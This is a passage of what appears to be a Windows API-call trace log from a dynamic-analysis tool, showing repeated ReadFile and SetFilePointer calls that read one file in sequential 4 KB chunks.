ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.055] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x51000 [0178.055] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.055] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x52000 [0178.055] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.056] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x53000 [0178.056] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.056] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x54000 [0178.057] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.057] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x55000 [0178.057] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.058] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x56000 [0178.058] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.073] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x57000 [0178.073] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.074] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x58000 [0178.074] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.074] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x59000 [0178.075] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.075] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5a000 [0178.075] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.076] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5b000 [0178.076] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.076] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5c000 [0178.076] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.076] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5d000 [0178.077] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.077] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5e000 [0178.077] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.077] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5f000 [0178.078] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.078] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x60000 [0178.078] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.079] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x61000 [0178.079] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.079] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x62000 [0178.079] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.080] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x63000 [0178.080] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.080] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x64000 [0178.080] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.081] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x65000 [0178.081] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.083] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x66000 [0178.083] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.083] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x67000 [0178.084] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.085] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x68000 [0178.085] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.085] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x69000 [0178.085] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.086] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6a000 [0178.086] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.087] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6b000 [0178.087] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.088] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6c000 [0178.088] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.088] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6d000 [0178.088] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.089] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6e000 [0178.090] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.090] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6f000 [0178.090] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.092] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x70000 [0178.092] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.092] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x71000 [0178.093] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.094] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x72000 [0178.094] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.094] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x73000 [0178.095] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.095] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x74000 [0178.096] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.096] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x75000 [0178.096] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.097] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x76000 [0178.097] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.098] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x77000 [0178.098] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.099] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x78000 [0178.099] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.099] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x79000 [0178.099] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.100] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7a000 [0178.100] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.101] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7b000 [0178.101] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.209] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7c000 [0178.209] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.210] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7d000 [0178.210] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.211] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7e000 [0178.211] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.211] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7f000 [0178.211] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.212] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x80000 [0178.212] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.212] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x81000 [0178.213] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.213] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x82000 [0178.213] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.214] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x83000 [0178.214] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.214] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x84000 [0178.214] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.215] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x85000 [0178.215] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.216] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x86000 [0178.216] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.216] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x87000 [0178.216] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.217] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x88000 [0178.217] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2444a30*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0178.217] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x89000 [0178.218] ReadFile (in: hFile=0x3dc, lpBuffer=0x2444a30, 